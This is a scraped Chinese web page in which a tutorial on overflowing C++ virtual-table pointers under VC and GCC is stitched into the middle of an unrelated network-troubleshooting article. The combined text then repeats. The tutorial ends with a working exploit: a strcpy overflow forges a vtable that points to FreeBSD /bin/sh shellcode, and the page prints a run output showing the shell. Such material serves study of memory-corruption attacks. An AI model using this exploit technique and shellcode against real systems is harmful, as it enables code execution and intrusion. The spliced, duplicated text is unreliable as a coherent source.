| 订阅 | 在线投稿
分享
 
 
 

C++中通过溢出覆盖虚函数指针列表执行代码

来源:互联网网民  宽屏版  评论
2008-06-01 01:11:39

1.配置交换机

将交换机端口配置<!--StartFragment-->目录:=版权所有 软件 下载 学院 版权所有=

1. C++中虚函数的静态联编和动态联编

2. VC中对象的空间组织和溢出试验

3. GCC中对象的空间组织和溢出试验

4. 参考

<一> C++中虚函数的静态联编和动态联编

C++中的一大法宝就是虚函数,简单来说就是加virtual要害字定义的函数。

其特性就是支持动态联编。现在C++开发的大型软件中几乎已经离不开虚函数的

使用,一个典型的例子就是虚函数是MFC的基石之一。

这里有两个概念需要先解释:=版权所有 软件 下载 学院 版权所有=

静态联编:通俗点来讲就是程序编译时确定调用目标的地址。

动态联编:程序运行阶段确定调用目标的地址。

在C++中通常的函数调用都是静态联编,但假如定义函数时加了virtual要害

字,并且在调用函数时是通过指针或引用调用,那么此时就是采用动态联编。

一个简单例子:

// test.cpp

#include<iostream.h>

class ClassA

{

public:

int num1;

ClassA(){ num1=0xffff; };

virtual void test1(void){};

virtual void test2(void){};

};

ClassA objA,* pobjA;

int main(void)

{

pobjA=&objA;

objA.test1();

objA.test2();

pobjA->test1();

pobjA->test2();

return 0;

}

使用VC编译:

开一个命令行直接在命令行调用cl来编译: (假如你安装vc时没有选择注册环境

变量,那么先在命令行运行VC目录下bin\VCVARS32.BAT )

cl test.cpp /Fa

产生test.asm中间汇编代码

接下来就看看asm里有什么玄虚,分析起来有点长,要有耐心 !

我们来看看:

数据定义:

_BSS SEGMENT

?objA@@3VClassA@@A DQ 01H DUP (?) ;objA 64位

?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA 一个地址32位

_BSS ENDS

看到objA为64位,里边存放了哪些内容呢? 接着看看构造函数:

_this$ = -4

??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定义了一个变量 _this ?!

; File test.cpp

; Line 6

push ebp

mov ebp, esp

push ecx

mov DWord PTR _this$[ebp], ecx ; ecx 赋值给 _this ?? 不明白??

mov eax, DWORD PTR _this$[ebp]

mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@

; ClassA::`vftable'

; 前面的部分都是编译器加的东东,我们的赋值在这里

mov ecx, DWORD PTR _this$[ebp]

mov DWORD PTR [ecx+4], 65535 ;0xffff num1=0xffff;

; 看来 _this+4就是num1的地址

mov eax, DWORD PTR _this$[ebp]

mov esp, ebp

pop ebp

ret 0

??0ClassA@@QAE@XZ ENDP

那个_this和mov DWORD PTR _this$[ebp], ecx 让人比较郁闷了吧,不急看看何

处调用的构造函数:

_$E9 PROC NEAR

; File test.cpp

; Line 10

push ebp

mov ebp, esp

mov ecx, OFFSET FLAT:?objA@@3VClassA@@A

call ??0ClassA@@QAE@XZ ;call ClassA::ClassA()

pop ebp

ret 0

_$E9 ENDP

看,ecx指向objA的地址,通过赋值,那个_this就是objA的开始地址,其实CLASS中

的非静态方法编译器编译时都会自动添加一个this变量,并且在函数开始处把ecx

赋值给他,指向调用该方法的对象的地址 。

那么构造函数里的这两行又是干什么呢?

mov eax, DWORD PTR _this$[ebp]

mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@

; ClassA::`vftable'

我们已经知道_this保存的为对象地址: &objA。 那么 eax = &objA

接着就相当于 ( * eax ) = OFFSET FLAT:??_7ClassA@@6B@

来看看 ??_7ClassA@@6B@ 是哪个道上混的:

CONST SEGMENT

??_7ClassA@@6B@

DD FLAT:?test1@ClassA@@UAEXXZ ; ClassA::`vftable'

DD FLAT:?test2@ClassA@@UAEXXZ

CONST ENDS

看来这里存放的就是test1(),test2()函数的入口地址 ! 那么这个赋值:

mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@

; ClassA::`vftable'

就是在对象的起始地址填入这么一个地址列表的地址。

好了,至此我们已经看到了objA的构造了:

| 低地址 |

+--------+ ---> objA的起始地址 &objA

|pvftable|

+--------+-------------------------+

| num1 | num1变量的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a> |

+--------+ ---> objA的结束地址 +--->+--------------+ 地址表 vftable

| 高地址 | |test1()的地址 |

+--------------+

|test2()的地址 |

+--------------+

来看看main函数:

_main PROC NEAR

; Line 13

push ebp

mov ebp, esp

; Line 14

mov DWORD PTR ?pobjA@@3PAVClassA@@A,

OFFSET FLAT:?objA@@3VClassA@@A ; pobjA = &objA

; Line 15

mov ecx, OFFSET FLAT:?objA@@3VClassA@@A ; ecx = this指针

; 指向调用者的地址

call ?test1@ClassA@@UAEXXZ ; objA.test1()

; objA.test1()直接调用,已经确定了地址

; Line 16

mov ecx, OFFSET FLAT:?objA@@3VClassA@@A

call ?test2@ClassA@@UAEXXZ ; objA.test2()

; Line 17

mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA

mov edx, DWORD PTR [eax] ; edx = vftable

mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA

call DWORD PTR [edx] ;

; call vftable[0] 即 pobjA->test1() 看地址是动态查找的 ; )

; Line 18

mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA

mov edx, DWORD PTR [eax]

mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA

call DWORD PTR [edx+4] ; pobjA->test2()

; call vftable[1] 而vftable[1]里存放的是test2()的入口地址

; Line 19

xor eax, eax

; Line 20

pop ebp

ret 0

_main ENDP

好了,相信到这里你已经对动态联编有了深刻印象。

<二> VC中对象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织和溢出试验

通过上面的分析我们可以对对象<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织概括如下:

| 低地址 |

+----------+ ---> objA的起始地址 &objA

|pvftable |--------------------->+

+----------+ |

|各成员变量| |

+----------+ ---> objA的结束地址 +---> +--------------+ 地址表 vftable

| 高地址 | |虚函数1的地址 |

+--------------+

|虚函数2的地址 |

+--------------+

| . . . . . . |

可以看出假如我们能覆盖pvtable然后构造一个自己的vftable表那么动态联编就使得

我们能改变程序流程!

现在来作一个溢出试验:

先写个程序来看看

#include<iostream.h>

class ClassEx

{

};

int buff[1];

ClassEx obj1,obj2,* pobj;

int main(void)

{

cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;

return 0;

}

用cl编译运行结果为:

0x00408998:0x00408990:0x00408991:0x00408994

编译器把buff的地址放到后面了!

把程序改一改,定义变量时换成:

ClassEx obj1,obj2,* pobj;

int buff[1];

结果还是一样!! 不会是vc就是防着这一手吧!

看来想覆盖不轻易呀 ; )

只能通过obj1 溢出覆盖obj2了

//ex_vc.cpp

#include<iostream.h>

class ClassEx

{

public:

int buff[1];

virtual void test(void){ cout << "ClassEx::test()" << endl;};

};

void entry(void)

{

cout << "Why a u here ?!" << endl;

};

ClassEx obj1,obj2,* pobj;

int main(void)

{

pobj=&obj2;

obj2.test();

int vtab[1] = { (int) entry };//构造vtab,

//entry的入口地址

obj1.buff[1] = (int)vtab; //obj1.buff[1]就是 obj2的pvftable域

//这里修改了函数指针列表的地址到vtab

pobj->test();

return 0;

}

编译 cl ex_vc.cpp

运行结果:

ClassEx::test()

Why a u here ?!

测试环境: VC6

看我们修改了程序执行流程 ^_^

平时我们编程时可能用virtaul不多,但假如我们使用BC/VC等,且使用了厂商提供的

库,其实我们已经大量使用了虚函数 ,以后写程序可要小心了,一个不留神的变量

赋值可能会后患无穷。 //开始琢磨好多系统带的程序也是vc写的,里边会不会 ....

<三> GCC中对象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织和溢出试验

刚才我们已经分析完vc下的许多细节了,那么我们接下来看看gcc里有没有什么不

一样!分析方法一样,就是写个test.cpp用gcc -S test.cpp 来编译得到汇编文件

test.s 然后分析test.s我们就能得到许多细节上的东西。

通过分析我们可以看到:

gcc中对象地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>结构如下:

| 低地址 |

+---------------+ 对象的开始地址

| |

| 成员变量<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a> |

| |

+---------------+

| pvftable |----------->+------------------+ vftable

+---------------+ | 0 |

| 高地址 | +------------------+

| XXXXXXXX |

+------------------+

| 0 |

+----------------- +

| 虚函数1入口地址 |

+------------------+

| 0 |

+----------------- +

| 虚函数2入口地址 |

+------------------+

| . . . . . . |

哈哈,可以看到gcc下有个非常大的优势,就是成员变量在pvftable

前面,要是溢出成员变量赋值就能覆盖pvftable,比vc下方便多了!

来写个溢出测试程序:

//test.cpp

#include<iostream.h>

class ClassTest

{

public:

long buff[1]; //大小为1

virtual void test(void)

{

cout << "ClassTest test()" << endl;

}

};

void entry(void)

{

cout << "Why are u here ?!" << endl;

}

int main(void)

{

ClassTest a,*p =&a;

long addr[] = {0,0,0,(long)entry}; //构建的虚函数表

//test() -> entry()

a.buff[1] = ( long ) addr;// 溢出,操作了虚函数列表指针

a.test(); //静态联编的,不会有事

p->test(); //动态联编的,到我们的函数表去找地址,

// 结果就变成了调用函数 entry()

}

编译: gcc test.cpp -lstdc++

执行结果:

bash-2.05# ./a.out

ClassTest test()

Why are u here ?!

测试程序说明:

具体的就是gcc -S test.cpp生成 test.s 后里边有这么一段:

.section .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits

.p2align 2

.type _vt$9ClassTest,@object

.size _vt$9ClassTest,24

_vt$9ClassTest:

.value 0

.value 0

.long __tf9ClassTest

.value 0

.value 0

.long test__9ClassTest ----------+

.zero 8 |

.comm __ti9ClassTest,8,4 |

|

|

test()的地址 <----+

这就是其虚函数列表里的内容了。

test()地址在第3个(long)型地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>

所以我们构造addr[]时:

long addr[] = {0,0,0,(long)entry};

就覆盖了test()函数的地址 为 entry()的地址

p->test()

时就跑到我们构建的地址表里取了entry的地址去运行了

测试环境 FreeBSD 4.4

gcc 2.95.3

来一个真实一点的测试:

通过溢出覆盖pvftable,时期指向一个我们自己构造的

vftable,并且让vftable的虚函数地址指向我们的一段shellcode

从而得到一个shell。

#include<iostream.h>

#include<stdio.h>

class ClassBase //定义一个基础类

{

public:

char buff[128];

void setBuffer(char * s)

{

strcpy(buff,s);

};

virtual void printBuffer(void){}; //虚函数

};

class ClassA :public ClassBase

{

public:

void printBuffer(void)

{

cout << "Name :" << buff << endl;

};

};

class ClassB : public ClassBase

{

public:

void printBuffer(void)

{

cout << "The text : " << buff << endl;

};

};

char buffer[512],*pc;

long * pl = (long *) buffer;

long addr = 0xbfbffabc; // 在我的机器上就是 &b ^_*

char shellcode[]="1\xc0Ph//shh/binT[PPSS4;\xcd\x80";

int i;

int main(void)

{

ClassA a;

ClassB b;

ClassBase * classBuff[2] = { &a,&b };

a.setBuffer("Tom");

b.setBuffer("Hello ! This is world of c++ .");

for(i=0;i<2;i++) //C++中的惯用手法,

//一个基础类的指针指向上层类对象时调

//用的为高层类的虚函数

classBuff[i]->printBuffer(); // 这里是正常用法

cout << &a << " : " << &b << endl; // &b就是上面addr的值,

//假如你的机器上两个值不同就改一改addr值吧!

//构造一个非凡的buff呆会给b.setBuffer

// 在开始处构造一个vftable

pl[0]=0xAAAAAAAA; //填充1

pl[1]=0xAAAAAAAA; //填充2

pl[2]=0xAAAAAAAA; //填充3

pl[3]=addr+16; //虚函数printBuffer入口地址

// 的位置指向shell代码处了

pc = buffer+16;

strcpy(pc,shellcode);

pc+=strlen(shellcode);

for(;pc - buffer < 128 ; *pc++='A'); //填充

pl=(long *) pc;

*pl= addr; //覆盖pvftable使其指向我们构造的列表

b.setBuffer(buffer); //溢出了吧 .

// 再来一次

for(i=0;i<2;i++)

classBuff[i]->printBuffer(); // classBuffer[1].printBuffer

// 时一个shell就出来了

return 0;

}

bash-2.05$ ./a.out

Name :Tom

The text : Hello ! This is world of c++ .

0xbfbffb44 : 0xbfbffabc

Name :

$ <------ 呵呵,成功了

说明:

addr = &b 也就是 &b.buff[0]

b.setBuffer(buffer)

就是让 b.buff溢出,覆盖128+4+1个地址。

此时内存中的构造如下:

&b.buff[0] 也是 &b

^

|

|

[填充1|填充2|填充3|addr+16|shellcode|填充|addr | \0]

____ ^ ___

| | |

| | |

| +---+ | |

| | |

+---------------> 128 <--------------+ |

|

此处即pvftable项 ,被溢出覆盖为 addr <---+

现在b.buff[0]的开始处就构建了一个我们自己的虚

函数表,虚函数的入口地址为shellcode的地址 !

本文只是一个引导性文字,还有许多没

有提到的细节,需要自己去分析。

俗话说自己动手丰衣足食 *_&

<四> 参考

Phrack56# << SMASHING C++ VPTRS >>

=版权所有 软件 下载 学院 版权所有=

个人愚见,望斧正!

__watercloud__

(watercloud@nsfocus.com)

为100M全双工,服务器安装一块Intell00M EISA网卡,在大流量负荷数据传输时,速度变得极慢,最后发现这款网卡不支持全双工。将交换机端口改为半双工以后,故障消失。这说明交换机的端口与网卡的速率和双工方式必须一致。目前有许多自适应的网卡和交换机,由于品牌的不一致,往往不能正确实现全双工方式,只有手工强制设定才能解决。

2.双绞线的线序

将服务器与交换机的距离由5米改为60米,结果无论如何也连接不通,为什么呢?以太网一般使用两对双绞线,排列在1、2、3、6的位置,假如使用的不是两对线,而是将原配对使用的线分开使用,就会形成缠绕,从而产生较大的串扰(NEXT),影响网络性能。上述故障的原因是由于3、6未使用配对线,在距离变长的情况下连接不通。将RJ45头重新按线序做过以后,一切恢复正常。

3.网络与硬盘

基于文件访问和打印的网络的瓶颈是服务器硬盘的速度,所以配置好服务器硬盘对于网络的性能起着决定性的作用。以下提供几点意见供你参考:

·选用SCSI接口和高转速硬盘。

·硬盘阵列卡能较大幅度地提升硬盘的读写性能和安全性,建议选用。

·不要使低速SCSI设备(如CD)与硬盘共用同一SCSI通道。

4.网段与流量

某台服务器,有两台文件读写极为频繁的工作站,当服务器只安装一块网卡,形成单独网段时,这个网段上的所有设备反应都很慢,当服务器安装了两块网卡,形成两个网段以后,将这两台文件读写极为频繁的工作站分别接在不同的网段上,网络中所有设备的反应速度都有了显著增加。这是因为增加的网段分担了原来较为集中的数据流量,从而提高了网络的反应速度。

5.桥接与路由

安装一套微波联网设备,上网调试时服务器上总是提示当前网段号应是对方的网段号。将服务器的网段号与对方改为一致后,服务器的报警消失了。啊!原来这是一套具有桥接性质的设备。后来与另外一个地点安装微波联网设备,换用了其他一家厂商的产品,再连接,将两边的网段号改为一致,可当装上设备以后,服务器又出现了报警:当前路由错误。修改了一边的网段以后,报警消失了。很明显这是一套具有路由性质的设备。桥的特征是在同一网段上,而路由必须在不同网段上。

6.广播干扰

上述通过桥接设备联网的两端,分别有一套通过广播发送信息的应用软件。当它们同时运行时,两边的服务器均会发出报警:收到不完全的包。将一套应用软件转移到另外一个网段上以后,此报警消失。这是因为网络的广播在同一网段上是没有限制的。两个广播就产生了相互干扰从而产生报警。而将一个应用软件移到另外一个网段以后,就相当于把这个网段的广播与另外网段上的广播设置了路由,从而限制了广播的干扰,这也是路由器最重要的作用。

7.WAN与接地

无意将路由器的电源插头插在了市电的插座上,结果64K DDN就是无法联通。电信局来人检查线路都很正常,最后检查路由器电源的接地电压,发现不对,换回到UPS的插座上,一切恢复正常。

路由器的电源插头接地端坏掉,从而造成数据包经常丢失,做PING连接时,时好时坏。更换电源线后一切正常。WAN的连接因为涉及到远程线路,所以对于接地要求较为严格,才能保证较强的抗干扰性,达到规定的连接速率,不然会出现希奇的故障。

 
特别声明:以上内容(如有图片或视频亦包括在内)为网络用户发布,本站仅提供信息存储服务。
 
1.配置交换机   将交换机端口配置<!--StartFragment-->目录:=版权所有 软件 下载 学院 版权所有= 1. C++中虚函数的静态联编和动态联编 2. VC中对象的空间组织和溢出试验 3. GCC中对象的空间组织和溢出试验 4. 参考 <一> C++中虚函数的静态联编和动态联编 C++中的一大法宝就是虚函数,简单来说就是加virtual要害字定义的函数。 其特性就是支持动态联编。现在C++开发的大型软件中几乎已经离不开虚函数的 使用,一个典型的例子就是虚函数是MFC的基石之一。 这里有两个概念需要先解释:=版权所有 软件 下载 学院 版权所有= 静态联编:通俗点来讲就是程序编译时确定调用目标的地址。 动态联编:程序运行阶段确定调用目标的地址。 在C++中通常的函数调用都是静态联编,但假如定义函数时加了virtual要害 字,并且在调用函数时是通过指针或引用调用,那么此时就是采用动态联编。 一个简单例子: // test.cpp #include<iostream.h> class ClassA { public: int num1; ClassA(){ num1=0xffff; }; virtual void test1(void){}; virtual void test2(void){}; }; ClassA objA,* pobjA; int main(void) { pobjA=&objA; objA.test1(); objA.test2(); pobjA->test1(); pobjA->test2(); return 0; } 使用VC编译: 开一个命令行直接在命令行调用cl来编译: (假如你安装vc时没有选择注册环境 变量,那么先在命令行运行VC目录下bin\VCVARS32.BAT ) cl test.cpp /Fa 产生test.asm中间汇编代码 接下来就看看asm里有什么玄虚,分析起来有点长,要有耐心 ! 我们来看看: 数据定义: _BSS SEGMENT ?objA@@3VClassA@@A DQ 01H DUP (?) ;objA 64位 ?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA 一个地址32位 _BSS ENDS 看到objA为64位,里边存放了哪些内容呢? 接着看看构造函数: _this$ = -4 ??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定义了一个变量 _this ?! ; File test.cpp ; Line 6 push ebp mov ebp, esp push ecx mov DWord PTR _this$[ebp], ecx ; ecx 赋值给 _this ?? 不明白?? mov eax, DWORD PTR _this$[ebp] mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@ ; ClassA::`vftable' ; 前面的部分都是编译器加的东东,我们的赋值在这里 mov ecx, DWORD PTR _this$[ebp] mov DWORD PTR [ecx+4], 65535 ;0xffff num1=0xffff; ; 看来 _this+4就是num1的地址 mov eax, DWORD PTR _this$[ebp] mov esp, ebp pop ebp ret 0 ??0ClassA@@QAE@XZ ENDP 那个_this和mov DWORD PTR _this$[ebp], ecx 让人比较郁闷了吧,不急看看何 处调用的构造函数: _$E9 PROC NEAR ; File test.cpp ; Line 10 push ebp mov ebp, esp mov ecx, OFFSET FLAT:?objA@@3VClassA@@A call ??0ClassA@@QAE@XZ ;call ClassA::ClassA() pop ebp ret 0 _$E9 ENDP 看,ecx指向objA的地址,通过赋值,那个_this就是objA的开始地址,其实CLASS中 的非静态方法编译器编译时都会自动添加一个this变量,并且在函数开始处把ecx 赋值给他,指向调用该方法的对象的地址 。 那么构造函数里的这两行又是干什么呢? mov eax, DWORD PTR _this$[ebp] mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@ ; ClassA::`vftable' 我们已经知道_this保存的为对象地址: &objA。 那么 eax = &objA 接着就相当于 ( * eax ) = OFFSET FLAT:??_7ClassA@@6B@ 来看看 ??_7ClassA@@6B@ 是哪个道上混的: CONST SEGMENT ??_7ClassA@@6B@ DD FLAT:?test1@ClassA@@UAEXXZ ; ClassA::`vftable' DD FLAT:?test2@ClassA@@UAEXXZ CONST ENDS 看来这里存放的就是test1(),test2()函数的入口地址 ! 那么这个赋值: mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@ ; ClassA::`vftable' 就是在对象的起始地址填入这么一个地址列表的地址。 好了,至此我们已经看到了objA的构造了: | 低地址 | +--------+ ---> objA的起始地址 &objA |pvftable| +--------+-------------------------+ | num1 | num1变量的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a> | +--------+ ---> objA的结束地址 +--->+--------------+ 地址表 vftable | 高地址 | |test1()的地址 | +--------------+ |test2()的地址 | +--------------+ 来看看main函数: _main PROC NEAR ; Line 13 push ebp mov ebp, esp ; Line 14 mov DWORD PTR ?pobjA@@3PAVClassA@@A, OFFSET FLAT:?objA@@3VClassA@@A ; pobjA = &objA ; Line 15 mov ecx, OFFSET FLAT:?objA@@3VClassA@@A ; ecx = this指针 ; 指向调用者的地址 call ?test1@ClassA@@UAEXXZ ; objA.test1() ; objA.test1()直接调用,已经确定了地址 ; Line 16 mov ecx, OFFSET FLAT:?objA@@3VClassA@@A call ?test2@ClassA@@UAEXXZ ; objA.test2() ; Line 17 mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA mov edx, DWORD PTR [eax] ; edx = vftable mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA call DWORD PTR [edx] ; ; call vftable[0] 即 pobjA->test1() 看地址是动态查找的 ; ) ; Line 18 mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA mov edx, DWORD PTR [eax] mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA call DWORD PTR [edx+4] ; pobjA->test2() ; call vftable[1] 而vftable[1]里存放的是test2()的入口地址 ; Line 19 xor eax, eax ; Line 20 pop ebp ret 0 _main ENDP 好了,相信到这里你已经对动态联编有了深刻印象。 <二> VC中对象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织和溢出试验 通过上面的分析我们可以对对象<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织概括如下: | 低地址 | +----------+ ---> objA的起始地址 &objA |pvftable |--------------------->+ +----------+ | |各成员变量| | +----------+ ---> objA的结束地址 +---> +--------------+ 地址表 vftable | 高地址 | |虚函数1的地址 | +--------------+ |虚函数2的地址 | +--------------+ | . . . . . . | 可以看出假如我们能覆盖pvtable然后构造一个自己的vftable表那么动态联编就使得 我们能改变程序流程! 现在来作一个溢出试验: 先写个程序来看看 #include<iostream.h> class ClassEx { }; int buff[1]; ClassEx obj1,obj2,* pobj; int main(void) { cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl; return 0; } 用cl编译运行结果为: 0x00408998:0x00408990:0x00408991:0x00408994 编译器把buff的地址放到后面了! 把程序改一改,定义变量时换成: ClassEx obj1,obj2,* pobj; int buff[1]; 结果还是一样!! 不会是vc就是防着这一手吧! 看来想覆盖不轻易呀 ; ) 只能通过obj1 溢出覆盖obj2了 //ex_vc.cpp #include<iostream.h> class ClassEx { public: int buff[1]; virtual void test(void){ cout << "ClassEx::test()" << endl;}; }; void entry(void) { cout << "Why a u here ?!" << endl; }; ClassEx obj1,obj2,* pobj; int main(void) { pobj=&obj2; obj2.test(); int vtab[1] = { (int) entry };//构造vtab, //entry的入口地址 obj1.buff[1] = (int)vtab; //obj1.buff[1]就是 obj2的pvftable域 //这里修改了函数指针列表的地址到vtab pobj->test(); return 0; } 编译 cl ex_vc.cpp 运行结果: ClassEx::test() Why a u here ?! 测试环境: VC6 看我们修改了程序执行流程 ^_^ 平时我们编程时可能用virtaul不多,但假如我们使用BC/VC等,且使用了厂商提供的 库,其实我们已经大量使用了虚函数 ,以后写程序可要小心了,一个不留神的变量 赋值可能会后患无穷。 //开始琢磨好多系统带的程序也是vc写的,里边会不会 .... <三> GCC中对象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织和溢出试验 刚才我们已经分析完vc下的许多细节了,那么我们接下来看看gcc里有没有什么不 一样!分析方法一样,就是写个test.cpp用gcc -S test.cpp 来编译得到汇编文件 test.s 然后分析test.s我们就能得到许多细节上的东西。 通过分析我们可以看到: gcc中对象地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>结构如下: | 低地址 | +---------------+ 对象的开始地址 | | | 成员变量<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a> | | | +---------------+ | pvftable |----------->+------------------+ vftable +---------------+ | 0 | | 高地址 | +------------------+ | XXXXXXXX | +------------------+ | 0 | +----------------- + | 虚函数1入口地址 | +------------------+ | 0 | +----------------- + | 虚函数2入口地址 | +------------------+ | . . . . . . | 哈哈,可以看到gcc下有个非常大的优势,就是成员变量在pvftable 前面,要是溢出成员变量赋值就能覆盖pvftable,比vc下方便多了! 来写个溢出测试程序: //test.cpp #include<iostream.h> class ClassTest { public: long buff[1]; //大小为1 virtual void test(void) { cout << "ClassTest test()" << endl; } }; void entry(void) { cout << "Why are u here ?!" << endl; } int main(void) { ClassTest a,*p =&a; long addr[] = {0,0,0,(long)entry}; //构建的虚函数表 //test() -> entry() a.buff[1] = ( long ) addr;// 溢出,操作了虚函数列表指针 a.test(); //静态联编的,不会有事 p->test(); //动态联编的,到我们的函数表去找地址, // 结果就变成了调用函数 entry() } 编译: gcc test.cpp -lstdc++ 执行结果: bash-2.05# ./a.out ClassTest test() Why are u here ?! 测试程序说明: 具体的就是gcc -S test.cpp生成 test.s 后里边有这么一段: .section .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits .p2align 2 .type _vt$9ClassTest,@object .size _vt$9ClassTest,24 _vt$9ClassTest: .value 0 .value 0 .long __tf9ClassTest .value 0 .value 0 .long test__9ClassTest ----------+ .zero 8 | .comm __ti9ClassTest,8,4 | | | test()的地址 <----+ 这就是其虚函数列表里的内容了。 test()地址在第3个(long)型地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a> 所以我们构造addr[]时: long addr[] = {0,0,0,(long)entry}; 就覆盖了test()函数的地址 为 entry()的地址 p->test() 时就跑到我们构建的地址表里取了entry的地址去运行了 测试环境 FreeBSD 4.4 gcc 2.95.3 来一个真实一点的测试: 通过溢出覆盖pvftable,时期指向一个我们自己构造的 vftable,并且让vftable的虚函数地址指向我们的一段shellcode 从而得到一个shell。 #include<iostream.h> #include<stdio.h> class ClassBase //定义一个基础类 { public: char buff[128]; void setBuffer(char * s) { strcpy(buff,s); }; virtual void printBuffer(void){}; //虚函数 }; class ClassA :public ClassBase { public: void printBuffer(void) { cout << "Name :" << buff << endl; }; }; class ClassB : public ClassBase { public: void printBuffer(void) { cout << "The text : " << buff << endl; }; }; char buffer[512],*pc; long * pl = (long *) buffer; long addr = 0xbfbffabc; // 在我的机器上就是 &b ^_* char shellcode[]="1\xc0Ph//shh/binT[PPSS4;\xcd\x80"; int i; int main(void) { ClassA a; ClassB b; ClassBase * classBuff[2] = { &a,&b }; a.setBuffer("Tom"); b.setBuffer("Hello ! This is world of c++ ."); for(i=0;i<2;i++) //C++中的惯用手法, //一个基础类的指针指向上层类对象时调 //用的为高层类的虚函数 classBuff[i]->printBuffer(); // 这里是正常用法 cout << &a << " : " << &b << endl; // &b就是上面addr的值, //假如你的机器上两个值不同就改一改addr值吧! //构造一个非凡的buff呆会给b.setBuffer // 在开始处构造一个vftable pl[0]=0xAAAAAAAA; //填充1 pl[1]=0xAAAAAAAA; //填充2 pl[2]=0xAAAAAAAA; //填充3 pl[3]=addr+16; //虚函数printBuffer入口地址 // 的位置指向shell代码处了 pc = buffer+16; strcpy(pc,shellcode); pc+=strlen(shellcode); for(;pc - buffer < 128 ; *pc++='A'); //填充 pl=(long *) pc; *pl= addr; //覆盖pvftable使其指向我们构造的列表 b.setBuffer(buffer); //溢出了吧 . // 再来一次 for(i=0;i<2;i++) classBuff[i]->printBuffer(); // classBuffer[1].printBuffer // 时一个shell就出来了 return 0; } bash-2.05$ ./a.out Name :Tom The text : Hello ! This is world of c++ . 0xbfbffb44 : 0xbfbffabc Name : $ <------ 呵呵,成功了 说明: addr = &b 也就是 &b.buff[0] b.setBuffer(buffer) 就是让 b.buff溢出,覆盖128+4+1个地址。 此时内存中的构造如下: &b.buff[0] 也是 &b ^ | | [填充1|填充2|填充3|addr+16|shellcode|填充|addr | \0] ____ ^ ___ | | | | | | | +---+ | | | | | +---------------> 128 <--------------+ | | 此处即pvftable项 ,被溢出覆盖为 addr <---+ 现在b.buff[0]的开始处就构建了一个我们自己的虚 函数表,虚函数的入口地址为shellcode的地址 ! 本文只是一个引导性文字,还有许多没 有提到的细节,需要自己去分析。 俗话说自己动手丰衣足食 *_& <四> 参考 Phrack56# << SMASHING C++ VPTRS >> =版权所有 软件 下载 学院 版权所有= 个人愚见,望斧正! __watercloud__ (watercloud@nsfocus.com) 为100M全双工,服务器安装一块Intell00M EISA网卡,在大流量负荷数据传输时,速度变得极慢,最后发现这款网卡不支持全双工。将交换机端口改为半双工以后,故障消失。这说明交换机的端口与网卡的速率和双工方式必须一致。目前有许多自适应的网卡和交换机,由于品牌的不一致,往往不能正确实现全双工方式,只有手工强制设定才能解决。   2.双绞线的线序   将服务器与交换机的距离由5米改为60米,结果无论如何也连接不通,为什么呢?以太网一般使用两对双绞线,排列在1、2、3、6的位置,假如使用的不是两对线,而是将原配对使用的线分开使用,就会形成缠绕,从而产生较大的串扰(NEXT),影响网络性能。上述故障的原因是由于3、6未使用配对线,在距离变长的情况下连接不通。将RJ45头重新按线序做过以后,一切恢复正常。   3.网络与硬盘   基于文件访问和打印的网络的瓶颈是服务器硬盘的速度,所以配置好服务器硬盘对于网络的性能起着决定性的作用。以下提供几点意见供你参考:   ·选用SCSI接口和高转速硬盘。   ·硬盘阵列卡能较大幅度地提升硬盘的读写性能和安全性,建议选用。   ·不要使低速SCSI设备(如CD)与硬盘共用同一SCSI通道。   4.网段与流量   某台服务器,有两台文件读写极为频繁的工作站,当服务器只安装一块网卡,形成单独网段时,这个网段上的所有设备反应都很慢,当服务器安装了两块网卡,形成两个网段以后,将这两台文件读写极为频繁的工作站分别接在不同的网段上,网络中所有设备的反应速度都有了显著增加。这是因为增加的网段分担了原来较为集中的数据流量,从而提高了网络的反应速度。   5.桥接与路由   安装一套微波联网设备,上网调试时服务器上总是提示当前网段号应是对方的网段号。将服务器的网段号与对方改为一致后,服务器的报警消失了。啊!原来这是一套具有桥接性质的设备。后来与另外一个地点安装微波联网设备,换用了其他一家厂商的产品,再连接,将两边的网段号改为一致,可当装上设备以后,服务器又出现了报警:当前路由错误。修改了一边的网段以后,报警消失了。很明显这是一套具有路由性质的设备。桥的特征是在同一网段上,而路由必须在不同网段上。   